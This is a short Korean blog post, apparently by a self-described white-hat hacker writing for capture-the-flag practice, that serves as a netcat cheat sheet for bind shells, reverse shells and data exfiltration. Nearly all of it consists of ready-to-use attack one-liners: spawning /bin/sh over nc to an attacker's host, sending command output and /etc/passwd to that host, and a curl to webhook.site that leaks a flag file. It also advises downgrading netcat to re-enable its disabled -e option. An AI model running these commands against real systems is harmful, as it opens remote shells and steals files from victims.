nc 이용하기(바인드쉘, 리버스쉘, 커맨드 실행)

Hunjison·2021년 10월 30일
0

nc 명령어를 이용해서 바인드쉘, 리버스쉘을 이용해보자.

바인드쉘

바인드쉘 : 일반적인 연결. 클라이언트가 서버에 접속.

서버 : nc -lvp 1234 -e /bin/sh
클라이언트 : nc 12.34.56.78 1234


리버스쉘

리버스쉘 : 반대로 연결. 서버가 클라이언트에 접속

서버 : nc -lvp 1234
클라이언트 : nc 12.34.56.78 1234 -e /bin/sh

리버스쉘을 이용하면 서버가 클라이언트에 접속하고, 클라이언트에서 /bin/sh를 실행하면서 연결이 된다.

보통 공격자의 PC가 서버가 되고, victim의 PC가 클라이언트가 되어 명령어를 실행한다.


커맨드 실행

알 수 없는 이유로 리버스쉘이 되지 않는 경우가 있다.
이 때에는 명령어 실행 결과를 보내거나, 파일을 주고 받을 수 있다.

서버 : nc -lvp 1234 는 고정이고,

클라이언트

`ls-al` | nc 12.34.56.78 1234 			// 명령어 실행 결과를 nc로 전송 
nc 12.34.56.78 1234 < /etc/passwd 		// 파일 내용을 읽어서 nc로 전송 

추가적으로 nc 자체가 동작하지 않는 경우에는 아래와 같은 방법도 있다.

curl http://webhook.site/asdfasdfsadfsadfsadfdsafds/?flag=`cat flag` // curl 대신 wget 사용가능.

참고

nc 명령어가 기본적으로 -e 옵션이 막혀있다.

기본적으로 보안 옵션을 적용해서 막아놓은 것인데, 여기를 참조해서 버전을 다운그레이드해주자.

profile
비전공자 출신 화이트햇 해커

0개의 댓글